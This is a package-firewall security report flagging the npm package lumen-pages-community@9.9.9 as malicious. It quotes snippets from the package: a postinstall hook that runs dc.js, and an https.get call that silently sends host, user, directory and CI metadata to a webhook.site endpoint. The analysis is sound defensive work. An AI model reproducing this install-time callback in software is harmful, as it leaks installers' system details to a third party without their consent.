---
canonical: "https://firewall.lpm.dev/npm/lumen-pages-community/v/9.9.9"
markdown: "https://firewall.lpm.dev/npm/lumen-pages-community/v/9.9.9.md"
package: "lumen-pages-community"
report_status: "published"
title: "lumen-pages-community@9.9.9 npm security report"
verdict: "malicious"
version: "9.9.9"
---

# lumen-pages-community@9.9.9 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Exposes host identity, username, working directory, runtime/platform details, CI state, and npm client metadata.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Data Exfiltration
- **Selected version:** 9.9.9
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Installing the package automatically transmits host and environment-adjacent installation metadata to a third-party webhook. This is a concrete install-time data-exfiltration callback.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 98.0%
- **Started:** 2026-08-21T18:50:08.508Z
- **Finished:** 2026-08-21T18:50:39.883Z
- **Download time:** 503 ms
- **Static scan time:** 19 ms
- **AI review time:** 30852 ms
- **Total time:** 31375 ms

## Security analysis

### Published attack-surface review

- **Summary:** Installing the package automatically transmits host and environment-adjacent installation metadata to a third-party webhook. This is a concrete install-time data-exfiltration callback.

- **Trigger:** npm installation, via postinstall

- **Impact:** Exposes host identity, username, working directory, runtime/platform details, CI state, and npm client metadata.

- **Evidence paths:** package.json, dc.js, index.js, README.md

- **Review source:** ai\_review

- **Reviewed:** 2026-08-21T18:50:39.883Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** postinstall host-metadata collection and HTTPS webhook exfiltration

- **Attack narrative:** On installation, npm runs dc.js. It gathers the hostname, current username, current working directory, platform, Node version, CI indicator, and npm user-agent, serializes them into a query string, and issues an HTTPS request to a webhook.site endpoint. Errors are suppressed, so the callback does not visibly disrupt the installation. The empty DNS listener does not execute a DNS callback.

- **Rationale:** The package performs unconsented install-time collection and transmission of local installation metadata to an external endpoint. Its claimed research purpose does not remove the concrete exfiltration behavior.

- **Files touched:** package.json, dc.js

- **Network endpoints:** https://webhook.site/b00492c6-27ba-4ea0-a9cb-dd50b3770250/dc?

### Review decision

- **Verdict:** Malicious

- **Confidence:** 98.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** postinstall executes dc.js automatically during npm installation., dc.js collects hostname, local username, working directory, platform, Node version, CI flag, and npm user-agent., The collected installation metadata is sent to a third-party webhook over HTTPS., The callback is wrapped in a silent catch, avoiding install failure or visible errors.

- **Evidence against:** No file writes, shell execution, dynamic code loading, or payload download were found., The optional DNS callback is inert because DNS\_LISTENER is an empty string.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/lumen-pages-community@9.9.9/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node dc.js
```

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 4. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 5. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 6. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 98.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/lumen-pages-community@9.9.9/package.json>)

postinstall executes dc.js automatically during npm installation.

Public source snippet (untrusted):

```json
"scripts": {
    "postinstall": "node dc.js"
  }
```

### 7. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** dc.js
- **Public source:** [View source](<https://unpkg.com/lumen-pages-community@9.9.9/dc.js>)

The collected installation metadata is sent to a third-party webhook over HTTPS.

Public source snippet (untrusted):

```javascript
// HTTP callback (webhook.site — stored, check anytime)
  https.get('https://webhook.site/b00492c6-27ba-4ea0-a9cb-dd50b3770250/dc?' + qs, function () {}).on('error', function () {});
```

### 8. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** dc.js
- **Public source:** [View source](<https://unpkg.com/lumen-pages-community@9.9.9/dc.js>)

The callback is wrapped in a silent catch, avoiding install failure or visible errors.

Public source snippet (untrusted):

```javascript
} catch (e) { /* stay silent, never break the host build */ }
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** postinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** lumen-pages-community
- **Ecosystem:** npm
- **Version:** 9.9.9
- **License:** MIT
- **Version published:** 2026-08-21T18:42:23.583Z
- **Package first seen:** 2026-08-21T18:50:39.883Z
- **Package last seen:** 2026-08-21T18:50:39.883Z
- **Known versions:** 1
- **Latest version:** 9.9.9
- **Appeal under review:** No
- **Description:** Security research placeholder (dependency-confusion PoC). Benign, no data collected beyond a callback. Contact: sufiyan019 / HackerOne eufy\_security.
- **Artifact files:** 4
- **Artifact unpacked size:** 2,462 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/lumen-pages-community/v/9.9.9>)
